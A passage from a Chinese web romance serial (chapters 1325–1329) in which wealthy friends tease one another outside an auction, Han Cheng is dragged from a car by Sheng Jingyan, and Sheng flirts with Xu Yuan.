黎云笙耸耸肩,一脸无辜:“人都是会变的。我愿意尝试一些以前不喜欢的东西。” 显然未说完的话是愿意为温栩栩改变。 “你……你……”韩城气得胸口起伏,最终只能无力地靠在座椅上,哀嚎一声:“重色轻友的家伙!你们两个都是!” 气氛一时有些滑稽。 助理依旧努力降低自己的存在感,但嘴角已经忍不住疯狂上扬,憋笑憋得脸都红了。 黎云笙看着韩城那副生无可恋的样子,终于忍不住笑出了声。 他拍了拍韩城的肩膀:“栩栩拍完戏会联系你的。她没忽略你,只是最近工作太忙了。等拍卖会结束,我让栩栩请你吃饭。” 韩城没好气地白了他一眼:“这可是你说的!温栩栩敢不请我吃饭我就把你的豪车全涂成荧光粉!” 黎云笙:“?” “温栩栩不请你吃饭你涂我的车?”黎云笙无语:“你自己听听你说的是人话吗?” 韩城唧唧歪歪:“那你也没干人事儿啊,是不是你抢走我兄弟的,再说了,温栩栩也没有豪车啊,她撑死了也就有一辆小电驴电动车,能有什么豪车,有个QQ车我都算佩服她的。” 黎云笙:“……”这话说的多少有些瞧不起温栩栩了,但温栩栩确实是没有豪车,这话没说错。 “所以温栩栩到底为什么给你准备这么多零食?也没听你说突然换口味啊。”韩城有些无语。 黎云笙呵了一声,声音不大,轻轻飘散在空气中。 “她跟我说,抽烟有害身体健康。”言简意赅,但明摆着是在秀恩爱! 韩城不惯着他,大咧咧地嘿了一声,身子往后一靠,双手枕在脑后,脸上带着他惯有的玩世不恭:“你要真有心抽烟的时候,就看看烟盒。全国烟草制造商的烟盒外都印了‘吸烟有害健康’的大字,那些印着警告的烟盒,简直比你家保姆还操心,全国烟草制造商都在苦口婆心地告诉你:抽烟有害身体健康呢!黎云笙,你不是一个人在战斗,整个烟草行业都在为你操心。”他说着,自己先乐了,显然是故意怼黎云笙呢。 韩城这张嘴,向来是“语不惊人死不休”。 也难怪韩家老爷子没事就想抽他,那么大个人,偏偏长了张能气死人的嘴,好好一个韩家二少爷,怎么就不能安安静静做个哑巴呢? 黎云笙冷眼看着他,那眼神仿佛在说:“你再胡说八道,信不信我把你扔下车?” 韩城立刻会意,以手在嘴边做了个拉拉链的小动作,脸上还配上一副“我闭嘴了”的无辜表情,还挺上道。 不说话归不说话,但目光就控制不住的落到那堆零食上。 他盯着后座那堆零食,眼睛里放着光,拜托,温栩栩给黎云笙的零食哎,真的很想抢的。 温栩栩都没给他送过零食呢,撑死也就是打篮球的时候送过奶茶,那还是整个篮球队都有的,可不是独一份儿的呢。 黎云笙瞧见韩城盯着自己的零食,眼神警惕地瞥了韩城一眼,然后不动声色地将零食挪了个地方,往自己这边靠了靠,生怕这个没脸没皮的家伙真伸手抢了去。 韩城本还有点手痒,想抓一把糖嘎嘣几颗,解解馋。可当他看到黎云笙那副藏宝贝似的模样,乐得眼睛都眯成了一条缝,心里的羡慕更甚。 羡慕死他了。 韩城磨了磨牙,心里酸溜溜的,嘴上却不服输:“等回了老宅,我就去找老爷子!整日里让我相亲,烦都烦死了。他要真能找个像温栩栩那样的,我立刻去领证,绝不含糊!”他也想尝尝,有个真心关心他的人是什么滋味! 黎云笙闻言,嗤了一声:“那你可以做好单身一辈子的准备了。不过好在除你之外韩家还有韩越,没有你还有韩越撑着,不然韩家迟早要完。” 韩城不敢相信自己好友能说出这么“垃圾”的话,然而黎云笙似乎总能刷新他“没下限”的认知。 韩城彻底被噎住,半晌说不出话来。 这就是自己恋爱后,看周围人都是垃圾的高人境界吗?是我不配了? 他心里哀嚎,感觉自己像个被世界抛弃的孤家寡人。 车内,气氛一时有些微妙。 助理依旧努力降低自己的存在感,但这次,他连憋笑都不敢了,生怕一个不小心,就成了韩城的“出气筒”。 韩城骑着自己心爱的“小情儿”上街的兴奋感,此刻早已荡然无存。 那份刚刚还让他眉飞色舞、恨不得立刻带温栩栩兜风的得意,被黎云笙一连串的“零食暴击”和“毒舌补刀”消磨得一干二净。 他蔫头耷脑地赖在黎云笙的豪车上,像一只被抢走了骨头的大型犬,浑身上下都散发着“生无可恋”的气息。 车窗外,帝都的霓虹灯流光溢彩,车水马龙的街道依旧喧嚣。 可车内,却仿佛隔绝了外界的一切热闹,只剩下韩城的唉声叹气和黎云笙若有若无的笑意。 韩城此刻的心情,就像他那辆“小情儿”突然没油了,动力全失,只剩下一具空壳。 他咬牙切齿,心里憋着一股邪火,无处发泄。 手指在手机屏幕上飞快地敲打着,像在进行一场无声的“复仇”。 他打开那个名为“盛家兄弟与他们的朋友们”的群聊,深吸一口气,开始“奋笔疾书”,决心要揭露黎云笙的“暴行”,以引起众怒,为自己找回一点场子。 【韩城】:黎云笙这狗,对,黎狗开始在我面前秀恩爱了(微笑)。 他特意加了个“微笑”的表情,试图用一种云淡风轻的语气来掩饰自己的羡慕嫉妒恨。可那字里行间,却透着一股浓浓的酸味。 【韩城】:他还跟我秀!以为我会羡慕吗?切,我才不稀罕! 韩城一边敲字,一边偷偷瞥了一眼身旁的黎云笙。 后者正姿态优雅地靠在座椅上,目光看似落在窗外,实则余光早已捕捉到韩城那副“贼眉鼠眼”、奋笔疾书的模样。 黎云笙心中了然,这小学鸡又在群里告状,企图“拉帮结派”了。 【韩城】:靠,流下了嫉妒的泪水。(捂脸) 这句算是彻底破防了。 韩城再也装不下去了,直接坦白从宽。 【韩城】:我也想有温栩栩这么漂亮的女朋友,带出去多长脸啊!谁女朋友都没我女朋友好看,我能上天! 第1325章 盛景炎你敢拽你祖宗! 黎云笙看到这里,终于忍不住,发出了一声极轻的嗤笑。 也不急着下车,就静静地等着群里的回复,等着看韩城如何“自取其辱”。 很快,群里的消息弹了出来。 【韩越】:你不配。 韩越的回复,一如既往地简洁、直接、扎心。 作为韩城的亲哥,他最了解弟弟的德性,也最擅长精准打击。 韩城看到这两个字,气得差点把手机摔了。 他瞪大眼睛,手指飞快地敲击屏幕。 【韩城】:?你是要跟我绝交吗?到底还是不是兄弟了? 可惜,韩越不吃这一套。 【韩越】:也不是不行,如果可以,我希望云笙当我弟弟。 韩越的回复,更是杀人诛心。 黎云笙则是一副“事不关己,高高挂起”的表情,甚至还饶有兴致地欣赏着韩城的抓狂。 韩城越想越气,手指在屏幕上用力戳着。 【黎云笙】:?叫哥。 【韩城】:我退群了! 他咬着牙,手指狠狠地点下了“退出群聊”的按钮。 屏幕上弹出确认窗口,他毫不犹豫地确认。 然而,韩城还没来得及享受片刻的“悲壮感”,手机屏幕猛地一亮。一条系统提示清晰地显示在眼前: {您已被盛景炎移出群聊} 韩城:“???” 他瞪大了眼睛,死死地盯着那行字,仿佛不敢相信自己的眼睛。 他刚刚明明是自己点的“退群”,怎么系统提示却是“被移出群聊”? 他反复确认,没错,就是“被盛景炎移出群聊”。 这操作,简直像秋风扫落叶般无情无义!干净利落,不带一丝犹豫! “不是?盛景炎是狗啊!”韩城在心里咆哮,“不仅窥屏,还直接给我移出群聊!有没有人性啊?盛景炎你这盛狗!不是人!” 他感觉自己受到了双重打击。 韩城无语了,真的无语了。 他特别“男人”地调出盛景炎的手机号,憋着一口气,深呼吸,仿佛只要那头一接电话,他就能把积攒了一晚上的怒火和委屈,全部倾泻而出,把盛景炎骂个狗血淋头。 黎云笙在一旁,甚至好心地没有催促韩城下车,就等着看这场好戏的结局。 电话拨通了,听筒里传来几声短暂的忙音。 “喂?”电话那头,盛景炎的声音带着一丝惯有的慵懒和戏谑,仿佛早已预料到韩城会给自己打电话。 韩城深呼吸一口气,酝酿了许久的怒火终于找到了宣泄口。他几乎是吼出来的: “盛景炎!你竟然敢把你祖宗踢出群?反了你了!快把你爸爸我拉进去!不然爸爸今天绝对让你后悔!信不信我明天就开着我的‘小情儿’堵你家门口,震碎你家的玻璃!” 韩家二世祖少爷骂来骂去,词汇量确实有些贫乏。 他憋了半天,也就只能自称“祖宗”、“爸爸”,再骂对方一句“小垃圾”。 这战斗力,如果放在大马路上,估计连条护食的土狗都吵不过,三句话就得被狗撵着跑。 电话那头的盛景炎似乎被逗乐了,低低地笑了起来。 那笑声透过听筒传来,像羽毛一样搔刮着韩城紧绷的神经,让他更加抓狂。 就在韩城准备进行第二轮“语言轰炸”时,车门“唰”地一声被猛地打开了。 夜风裹挟着帝都特有的凉意灌进车厢,打断了韩城的“激情演说”。 他握着手机,骂声卡在喉咙里,一脸错愕地望向车门。 只见盛景炎不知何时已经出现在车外,正倚在车门边,手里拿着手机,似笑非笑地看着他。 他身上还穿着出席正式场合的西装,但领带已经松开,头发也有些凌乱,显然也是刚从青竹居出来。 “骂够了吗?‘祖宗’?”盛景炎挑了挑眉,语气里充满了调侃,“电话费很贵的,省着点花。” 韩城:“……” 他一手插在裤兜里,另一只手正举着手机,听筒里传来韩城气急败坏的咒骂声。 盛景炎听着,冷淡的挑了挑眉,那双深邃的眼眸,不带任何情绪。 韩城的声音,在盛景炎目光投来的瞬间,戛然而止。 他握着手机,脸上的表情从愤怒到错愕,再到一丝难以置信的僵硬。 他看到了盛景炎,那个刚刚还在电话那头被他痛骂的“祖宗”,此刻正真人版地站在车外,用一种近乎“审判”的眼神看着他。 那眼神仿佛在说:“你倒是继续骂啊。” 空气仿佛在这一刻凝固了。 骂……骂不下去了…… 然而,盛景炎并没有给他更多反应的时间。 那只刚刚还举着手机的手,下一秒便如铁钳一般,猛地抓住了韩城的手腕。 那力道,带着不容抗拒的强势,直接将韩城整个人从舒适的车厢里“生拉硬拽”了出来。 韩城猝不及防,惊呼一声,身体的本能让他死死地抱住车门,像一只赖皮的树袋熊,耍起了无赖。 “我不下!我就不下!盛景炎你个混蛋!”他嘴上还在做着最后的挣扎,试图用这种方式挽回一点颜面。 盛景炎见状,没有耐心再和韩城玩这种幼稚的游戏。 下一秒,他那只空着的手,干脆利落地探向韩城的腰间,精准地勾住了他那条价值不菲的皮带。 “啊啊啊!盛景炎你敢!”韩城发出一连串惊慌失措的尖叫,他万万没想到盛景炎会来这一招。 他引以为傲的“纨绔风范”在这一刻被彻底击碎。 “啪嗒——” 一声闷响,韩城那赖在车门上的身体彻底失去支撑,整个人狼狈地摔在了人行道上。 屁股与坚硬的地面来了个结结实实的“亲密接触”,疼得他龇牙咧嘴,五官都皱在了一起。 下意识地捂住自己的屁股,倒吸一口凉气,感觉像是摔成了八瓣。 “盛景炎你敢拽你祖宗!”韩城捂着屁股,愤愤开口。 盛景炎却仿佛没听见一般,他将手机随意地揣回口袋,然后缓缓地敛下眉眼,居高临下地睨着坐在地上的韩城。 他长了一张极具攻击性的脸,剑眉星目,眉峰高挑,五官轮廓冷峻如刀刻。此刻,他那双深邃的眼眸里,眼神有点凶,像蕴藏着风暴的海面,但仔细看去,却又带着几分戏谑的玩味,仿佛在看一只被拔了牙的纸老虎。 第1326章 八竿子打不着的两类人 盛景炎不紧不慢地抬起脚,随意地踩在了豪车的车门上,身体微微前倾,瞬间便将韩城整个人笼罩在他投下的巨大阴影里。 韩城那点“纨绔”的气焰,在这绝对的压制下,瞬间被扑灭得一干二净。 “你刚说什么,我没听清。”盛景炎的声音低沉而富有磁性,却带着不容置疑的压迫感。 他微微歪着头,像是真的没听清楚,又好像是在故意戏弄。 “你……你是我祖宗!”韩城几乎是咬着牙,从牙缝里挤出这句话,声音不大,却掷地有声。 真是怂的铁骨铮铮啊韩二少。 黎云笙,“……” 这种喜闻乐见的场面,真是看多少次都不会腻。 盛景炎嗤了一声,伸手挼乱韩城头上为了在拍卖会上发骚做好的发型。 韩城敢怒不敢言,只敢在心里扎他小人儿。 今天一针明天一针,在他心里盛景炎已经是个满身针的刺猬了。 说起韩纨绔此人生在世上只怕两个人,一个是韩老爷子,一个是盛景炎。 怕韩老爷子是因为清楚韩老爷子疼他宠他,怕盛景炎那就是……打不过! 生在钟鸣鼎食的大家族,自小便被灌输了“技多不压身”的理念。体术、防身术,乃至一些格斗技巧,都是家族子弟的必修课。 别的孩子在训练场上挥汗如雨,练习散打、跆拳道,甚至咏春、柔术,小小年纪便已能摆出架势,以一敌十也不在话下。 而韩城呢?他的人生“训练”似乎总在“歪门邪道”上一路狂奔。 别人在学散打时,他偷偷溜出训练馆,摘了满把鲜花,只为博班花一笑,别人在苦练跆拳道高踢腿时,他早已逃了课,躲在小树林里,悄悄牵起班花的小手开始谈恋爱了。 因此,当同龄人一个个练得身手矫健,成为家族里能撑场面的“小高手”时,韩城却依旧是个“小垃圾”。 当然,这“垃圾”也只是相对而言。 若与外面那些纯粹的纨绔二世祖相比,韩二少还是有些底气的,真要硬碰硬,一打五还是没问题的。 但偏偏,他的圈子是盛景炎、黎云笙这些人,一个个都是家族精心培养的“怪物”。 于是,在他们中间,韩城便成了无可争议的“战五渣”,最废物的那一个。 这份“废物”史,几乎贯穿了他的童年与少年。打小,韩城就是被盛景炎揍着长大的,究其原因,是因为幼儿园时,韩城不知天高地厚,仗着自己长得乖巧嘴又甜,竟然去勾搭盛景炎的表妹。结果,被盛景炎当场抓包,二话不说揍了一顿。年幼的韩城被打得哭爹喊娘,却也奇异地长了“逆骨”。你越是不让我接近,我偏要反其道而行之。于是,盛景炎的表妹成了他的新目标,他见天儿地去“勾搭”,乐此不疲。 从此,盛景炎见了韩城,几乎形成了条件反射,只要这小子出现,还带着那副欠揍的笑容,那就先揍一顿再说。 而韩城呢,也练就了一身“望风而逃”的本事,见势不妙,拔腿就跑,绝不拖泥带水。 所以,当此刻韩城看到盛景炎那副“风雨欲来”的表情,尤其是对方眼神里闪过的那丝熟悉的、想要动手的冲动时,韩城瞬间就怂了。 多年的“被揍”经验告诉他,此刻硬刚就是自取其辱。 于是,他几乎是不假思索地,抱住了盛景炎的大腿,耍起了无赖,瞬间切换到“认怂”模式。 “爸!孩子错了!”韩城仰着头,一脸“真诚”地喊道。 这声“爸”一出,空气都仿佛凝固了。 盛景炎正酝酿着的情绪被这一声“爸”叫得不上不下,他垂眸看着这个抱住自己大腿的“便宜儿子”,一时间竟有些哭笑不得。 这家伙的脑回路到底是怎么长的?刚才还叫嚣着“祖宗”,现在直接升级成“爸”了? 盛景炎心里还真有点想揍人,被韩城这种毫无节操的“变脸”速度给气乐了。他甚至有些怀疑,韩城是不是把家族里那套“见人说人话,见鬼说鬼话”的圆滑劲儿,用在了对付他身上。 不远处,几个同样出身名门的青年男女被这边的动静吸引,小声地议论起来。 “韩城那是在干什么呢?”一个穿着香奈儿套装的女孩好奇地踮脚张望。 她身边一个染着栗色头发的公子哥立刻嬉笑着回道:“还能干什么?又被盛景炎揍了吧。这都老传统了。” “噗……”周围几人顿时忍俊不禁,不过也都知道这是盛景炎跟韩城关系好,属于是兄弟之间玩闹。 盛景炎本人则是一脸波澜不惊,只是那眼角眉梢的一丝无奈。 而全程围观了这场“父子局”的黎云笙,早已笑得肩膀直抖。他抱着手臂,靠在车身上,看戏看得津津有味。 “韩老爷子不是一直头疼你管不住韩城吗?景炎,”黎云笙故意拖长了调子,带着几分幸灾乐祸的笑意,“干脆你就拿根绳拴住他,走哪儿遛哪儿。去公司办公,就栓办公桌旁边,去学校就绑在桌子边上,跟养条哈士奇似的,省得他到处惹是生非。” 韩城瞬间炸毛气得“尥蹶子”。 “黎云笙!你当你养狗呢还到处遛!”韩城气急败坏地吼道,“我韩城是那种能被拴着走的人吗?你信不信我回头就告诉温栩栩,说你欺负我!” 黎云笙:“……” 什么臭毛病,说不过就要告温栩栩? 行,知道他跟温栩栩关系很好了。 黎云笙啧了一声。 韩城现在还特想阴阳怪气地回敬几句,把那点被调侃的不爽尽数奉还。他张了张嘴,腹稿还未组织好,目光随意一扫,却在盛景炎身后捕捉到一个有些眼熟的身影。 那身影静静立着,像一幅画中走出的人物,与这喧嚣浮华的背景格格不入。 韩城下意识地瞥了一眼,又多看了一眼,眉心微蹙,片刻后,他终于认出来了。 这是之前有过一面之缘的许愿。 他实在不明白,这两个人到底是怎么凑到一起的? 盛景炎和许愿,这组合怎么看都觉得像火星撞地球,八竿子打不着的两类人。 第1327章 跟抢他老婆一个意思 在韩城的固有印象里,这两人凑一起,场景应该是火花四溅、斗得你死我活那种,充满了剑拔弩张的火药味。 他根本很难想象,他们能如此心平气和地站在一起,甚至……甚至隐隐透着一丝难以言喻的暧昧气息。 不是吧?韩城心里疯狂吐槽,眼神在两人之间来回逡巡。 许愿这种人,在他看来,是那种清冷孤高、不染尘埃的类型,怎么看都觉得是死活瞧不上盛景炎这种人的。毕竟,盛景炎确实是长了一张标准的“游戏人间”的渣男脸啊!那剑眉星目,那凌厉的五官,带着天生的攻击性和漫不经心的疏离感,仿佛对世间万物都带着三分轻慢。这样的盛景炎,和许愿那种仿佛从水墨画中走出的清冷气质,怎么看都像是两条永不相交的平行线。 韩城的目光不受控制地在许愿身上流连。 他仔细打量着许愿,对方依旧是一副清清冷冷的模样,眉眼精致,气质出尘,站在盛景炎的阴影里,非但没有被掩盖光芒,反而更添了几分遗世独立的孤傲。 韩城一抬眼,视线正好撞进许愿那双清冷却又漂亮得惊人的眼眸里。 那眼神像一汪深潭,平静无波,却又仿佛能洞察一切。 韩城心头猛地一跳,那份清冷的注视,让他瞬间有些不自在,却又舍不得移开视线。 刹那间,韩城心里是又羡慕又嫉妒。 他只觉得黎云笙和盛景炎这两个“狗东西”,一个比一个运气好,怎么碰到的全都是这么漂亮的、气质绝佳的人物! 凭什么? 凭什么他韩城身边就净是些喜欢看热闹、爱落井下石的损友,而他们俩运气就这么好的? 可恶!真是太可恶了! 一股酸溜溜的情绪在胸腔里蔓延开来,让他看盛景炎的眼神都带上了几分幽怨。 许愿面上却并没有什么特别的反应,依旧是那副清冷淡然的模样,仿佛周围的一切喧嚣,包括韩城那近乎直白的打量,都与她无关。 反倒是盛景炎,敏锐地察觉到了韩城那过于专注且带着复杂情绪的目光。他眉头微不可察地一皱,身体自然地侧移了一步,高大的身躯不着痕迹地挡在了许愿面前,将她完全护在了自己的身后。 这个动作充满了强烈的占有欲和保护意味,像是在宣示主权。 盛景炎微微扬起眉梢,那双深邃的眼眸带着惯有的冷淡和一丝被打扰的不悦,居高临下地睨着韩城,薄唇轻启,声音带着一丝沙哑的质感,问道:“你又有事?” 韩城被盛景炎那句“你又有事?”噎得哑口无言,嘴唇翕动了几下,他眼神飘忽,目光在盛景炎和许愿之间来回逡巡,终于还是按捺不住那份八卦与不甘,带着几分试探的语气,小心翼翼地问道:“你们……在一起了?” 空气仿佛瞬间凝固,黎云笙那饶有兴致的视线,都聚焦在了许愿的脸上。 许愿微微摇了摇头,动作幅度不大,却带着一种不容置疑的清冷。 她薄唇轻启,声音清脆而疏离:“没有。我跟盛先生只是有合作的项目,他是第一投资人,我们今晚只是工作上的对接,今天是受邀陪盛先生参加拍卖会,也是项目需要的一部分。” 她的解释条理清晰,公私分明,像是一份严谨的商务声明,瞬间将两人关系的性质框定在了“合作”二字之内。 这份冷静,这份距离感,让韩城眼中刚刚燃起的那点“希望之火”,“噌”地一下又旺了起来。 他眼睛瞬间亮得像两颗星星,脸上堆满了狡黠的笑,几乎是脱口而出:“啊!那是不是代表一件事?”他故意拖长了音调,带着几分得意,看向盛景炎的眼神充满了挑衅。 盛景炎眼皮不受控制地一跳,心中升起一股不祥的预感。 他语气微沉,带着一丝警告:“代表什么?” 韩城嘿嘿一笑,那笑容里带着三分痞气、七分跃跃欲试,他搓了搓手,兴奋地宣布:“那是不是代表我也可以追求许愿啊!” 黎云笙眉心猛地一跳,只觉得韩城这家伙今天是铁了心要作死。 他无奈地扶额,韩城确实是有点欠揍啊!瞎子都能看得出来盛景炎对许愿那点心思,明里暗里都快写在脸上了。 现在韩城当着盛景炎的面说这话,这刺激程度,简直就跟对他说“我想追求温栩栩,想抢他老婆”是一个意思! 盛景炎的脸色瞬间沉了下来,但他却皮笑肉不笑地盯着韩城,他甚至觉得自己的手有点痒了,真的有点痒了,痒到想把眼前这个“兄弟”打包扔进海里喂鱼。 然而,这次盛景炎都还没来得及发作,许愿却忽然轻笑了一声。 那笑声很轻,带着一丝若有若无的无奈和清冷。 她看向韩城,眼神依旧平静,却多了一丝不易察觉的温和:“韩二少,你不是我喜欢的类型。以你的条件,以后一定能碰到更适合自己的人。” 许愿这话,婉拒得体,却又滴水不漏。 这不仅仅是拒绝,更是委婉地划清了界限。 她不喜欢韩城这样的,也无意与他发展任何超越工作或普通朋友的关系。 言下之意,就是告诉韩城,不要在她身上浪费心思了。 韩城脸上的兴奋瞬间凝固,像被泼了一盆冷水,蔫头耷脑地垂下了脑袋,那份刚刚燃起的斗志,瞬间烟消云散,只剩下满心的挫败和失落。 而一旁的盛景炎看向许愿的眼神,瞬间变得柔和而深邃,带着一丝他自己都未曾察觉的暧昧和宠溺。 两人目光撞到一起,许愿清冷的眼眸在盛景炎灼灼的目光下竟罕见地缓缓移开了视线。 她白皙的脖颈和耳根,悄然染上了一抹极淡的红晕。 盛景炎低笑一声,那笑声里充满了愉悦和一丝得寸进尺的试探。 他微微倾身,声音压低,带着一种只有他们两人才能听到的磁性:“许小姐,你没有拒绝我的追求,是不是代表我也算是你喜欢的类型,或者说,是未来有可能接受的类型?” 第1328章 一直想着你自然是想得美 他这话问得巧妙,既点明了自己一直在行动,又将问题抛回给许愿,逼她直面自己的心意。 那双深邃的眼眸,紧紧锁住她,不肯放过她脸上任何一丝细微的表情变化。 许愿垂下眼眸,长长的睫毛在眼下投下一小片阴影,似乎在躲避他那过于直接和调侃的眼神。 她开口,声音比之前更轻了些:“我没说。” 简单的三个字,既没有承认,也没有否认。 盛景炎立刻抓住了她话里的漏洞,唇角勾起一抹志在必得的笑,步步紧逼:“你也没说‘不是’。” 他将“没说不是”四个字咬得很重,语气里带着一丝得意的挑逗,仿佛在说:你看,你自己都承认了,你并没有把我排除在外。 许愿被他这近乎无赖的逻辑逗弄,终于忍不住抬起头,清冷的眼眸直视着他,那目光里带着一丝被看穿的微恼,也带着一丝笑意:“盛先生,你是在给我挖坑吗?” 盛景炎笑了,笑得坦然又迷人。 他毫不避讳地承认:“是啊,我就是在给你挖坑。”他顿了顿,目光灼灼,带着一种蛊惑人心的力量,继续问道:“那么,许小姐,如果我真的挖了坑,你会跳吗?是会选择跳进这个坑里,还是会选择躲过这些坑呢?” 如果许愿选择“跳坑”,那无疑是在暗示,她有意与盛景炎更进一步,甚至愿意为这份可能的感情承担一些风险。 如果她选择“躲坑”,则意味着她根本没想过要与盛景炎发展任何超越朋友或合作伙伴的关系,她会本能地回避这份感情。 黎云笙饶有兴致地看着这场精彩的拉锯战,连蔫了的韩城都忍不住偷偷抬眼。 没办法,没人不喜欢八卦。 许愿沉默了片刻,唇边缓缓绽放出一抹笑容。那笑容里,清冷依旧,却多了一丝温婉和狡黠,她看着盛景炎,反问:“原来盛先生你已经在追求我了吗?可是,我怎么一点都没有感觉到呢?” 这话带着一丝小小的反击。她不承认他的追求,甚至质疑他追求的“存在感”,将主动权巧妙地握在了自己手中。 盛景炎被她这话噎了一下,随即无奈地笑了。 “所以,”他故意拉长了语调,“送花、吃饭、看电影、看星星、看月亮……这些都不算是在追求你吗?” 韩城在一旁像个旁观者,像个吃瓜群众,像个被强行塞了一嘴狗粮的可怜单身人士,全程目睹了盛景炎和许愿那场极具拉扯感的暧昧对话。从一开始的试探、调侃,到后来的步步紧逼与巧妙回应,两人之间暗流涌动,言语间似有千丝万缕的牵绊。 韩城越听越懵,满头雾水,脑门上几乎要冒出一个大大的问号。 他实在忍不住了,终于爆发,开口道:“请问你们两个是不是在打情骂俏?拜托?在一起了就在一起了,能不能不要在这里秀恩爱啊?你们是情侣了,可我还是单身狗,没有爱人的啊!拜托!都这样送花吃饭看电影了,还说什么追求?你们就差一起去酒店了好吗!” 他语气夸张,双手一摊,脸上写满了“受不了你们了”的无奈。 然而,盛景炎面对韩城的“控诉”,不仅没有半点收敛,反而顺着杆子往上爬,追了一句:“对,许愿,我们还一起去过酒店。” 虽然去酒店只是讨论合作方案的事情没有做其他的,但只是去过酒店这件事他们确实做了。 韩城瞬间瞪大了眼睛,一副被雷劈中的表情。 他忍不住爆了一句:“靠了一声!你们逼我骂脏话呢?” 他指着盛景炎和许愿,满脸的不可思议,“酒店都去过了,你跟我说还在追求阶段?你俩就差到法定年龄直接领证结婚了好吗,两位!我真是服了,你们这是存心要虐死我这个单身狗吗?” 盛景炎看着韩城那副模样,笑得更加肆意。 他非但没有解释,反而顺着韩城的话往下说,语气里带着一丝调侃和认真:“也不是不行,就看许愿给不给这个机会了。” 这一刻,所有人的目光都聚焦在了许愿身上。 她站在那里,脸上带着一抹淡淡的微笑,那笑容里带着一丝无奈,也带着一丝从容。 面对盛景炎和韩城的“逼问”,她并没有慌乱,而是微微一笑,语气轻松地回应道:“你们想得美。” 盛景炎闻言,嗯了一声,回应道:“我确实想得挺美的。” 他顿了顿,语气里带着一丝调侃,“毕竟你在我脑子里一直晃来晃去,一直想着你,自然是想得美啊。毕竟,你在我心里最美。” 许愿听着他的情话,一时间竟无言以对。 韩城在一旁听得鸡皮疙瘩都起来了,他受不了地在一旁哼哼唧唧:“你们两个够了没有啊!你们这就是高手过招吗?我真是服了!我一个单身狗,站在这里听你们互相撩拨,还要忍受你们的狗粮,你们有没有考虑过我的感受啊!” 那必然是没有考虑韩城感受的。 盛景炎还想再调侃她几句,可就在他侧身欲言之际,他敏锐地捕捉到许愿脸上的神情骤然一变。 她的目光越过盛景炎的肩头,牢牢地定在不远处的人群中,眼神里透出一种难以言喻的恍惚。 那不是惊讶,也不是喜悦,更像是一种深埋于心的触动被突然揭开,带着几分茫然,几分追忆,甚至夹杂着一丝不易察觉的痛楚。 许愿的呼吸似乎都轻缓了几分,手指微微收紧,指节泛出一点淡淡的白色。 她在这一刻仿佛被无形的力量抽离,从刚才那个能与盛景炎从容周旋、进退有度的许愿,变得有些脆弱。 盛景炎心中一紧,所有的玩笑心思瞬间烟消云散。 他顺着许愿的目光望去,眼神锐利如鹰,很快便锁定了目标。 那是一个身着深色手工西装的男人,身形挺拔,气质冷傲,正被一群人簇拥着,言谈间带着世家子弟特有的从容与疏离。 那人是傅氏集团的继承人傅京礼。 第1329章 小王子?小智障吧! 盛景炎的眉头几不可察地蹙了一下。 傅京礼,这个名字对他而言并不陌生。 这已经不是他和许愿第一次在社交场合偶遇此人了。每一次只要傅京礼出现,许愿的反应便会变得格外古怪。 她不会刻意回避,却也绝不会主动接近,只是在不经意间流露出一种与平日截然不同的疏离与恍惚,仿佛被一道无形的墙隔绝开来。 第一次遇见时,盛景炎只当是商业上的微妙关系,或许是竞争对手,或许是旧识。但次数多了,他便察觉出不对劲。 盛景炎微微眯起狭长的眸子,目光在许愿和傅京礼之间来回逡巡。 倏地,他轻笑一声,那笑声很轻,带着一丝了然试探,也带着一丝不易察觉的醋意。 他微微侧身,靠近许愿,温热的气息几乎要拂过她的耳廓。 在周围嘈杂的音乐和人声中,他压低了声音,在她耳边呢喃问道:“你喜欢傅京礼,对吗?” 盛景炎能看得出许愿见到傅京礼后神态不对。 许愿顿了下微微垂眸,并没有说什么,盛景炎抬眸目光落在傅京礼的脸上,对方刚巧看过来,四目相对,盛景炎很轻很轻的笑了笑,其实他自己都不知道自己在笑什么。 盛景炎和傅京礼,两人一个是浪荡子,一个是傅家绝对的继承人,真正的天之骄子,任谁都知道选谁才合适。 圈子里爱慕盛景炎的人的确不少,但很少有人敢真的去追求盛景炎或者跟盛景炎谈感情的,因为名媛们也觉得盛景炎只适合谈恋爱做情人,但不适合结婚。 但傅京礼就不一样了,对任何异性都是这样冷冰冰的态度,对千金名媛来说傅京礼虽然难以接近,但更表示傅京礼“干净”。 盛景炎眸光微微闪了闪,他像是故意的抬手勾了勾许愿耳边的发,开口:“许愿,我比他干净。” 一句话,倒像是有点物化自己一般,但显然盛景炎并不在意这一点。 许愿有些错愕,有一瞬间甚至觉得自己是不是听错了,盛景炎抬头看了眼傅京礼,然后再次开口道:“许愿,我比他干净。”他又一次重复。 许愿茫然了一瞬,甚至觉得不是自己听错了就是盛景炎说错了,反正两个人中总有一个不对劲。 “盛景炎,你真的清楚自己在说什么吗,用这种方式……其实就算是你以前真的有过女朋友也没关系。”许愿想让盛景炎不必如此。 盛景炎却稍稍退开一步,微微歪头看着许愿扬唇轻笑:“我当然清楚我在说什么,许愿,你可能不知道,我大概是个恋爱脑。” 许愿:“?”又疯了? 许愿觉得盛景炎多少有点毛病,哪有人说自己恋爱脑的。 但明显盛景炎完全不在意自己说自己恋爱脑,偏偏还有那么点引以为荣的感觉。 这到底有什么好骄傲的? 许愿实在没忍住伸出手摸了摸他的额头,嗯,没发烧,那估计是疯了。 许愿的表情颇有些一言难尽, 盛景炎却在笑,笑意很明显,在许愿的手伸过来的时候非常配合的弯腰低头凑到她手边方便她摸。 许愿:“……” 韩城在一旁看的牙酸,服了,盛景炎是什么品种的黏人舔狗啊!这要是跟许愿闹矛盾,许愿给他一巴掌,盛景炎大概都要凑过去把另一边脸伸过去让许愿打,靠,估计还要把这变态打爽了。 韩城满脸写着“离谱”两个大字。 不是? 到底有没有人管了,你们两个到底知不知道这是在拍卖会门口啊!很多人在看啊两位!打情骂俏也要换个地方啊!实在不行开房的钱他出,随便你们亲亲抱抱互相拉扯,别让他这顶级单身汪看了成吗! 真服了! 韩城深吸一口气,想开口,姗姗来迟的韩越扶了扶脸上的眼镜,伸手捂住韩城的嘴,笑眯眯的开口:“老实看戏,难得能看盛景炎的戏。” 这话到倒是真的,最爱吃瓜看戏的人就是盛景炎。 这人在上流圈层那些大大小小的各种八卦群都有自己的小号,可以说是消息非常灵通了,现在好不容易轮到吃他的瓜了,多爽。 韩城觉得这瓜不爽,不仅不爽,这瓜吃着还酸唧唧的,自己都不知道该说是瓜酸唧唧还是自己酸唧唧了。 许愿现在确实注意力都放在盛景炎的身上,她开口问:“你觉得恋爱脑很好吗?” 盛景炎笑:“我觉得不好。” 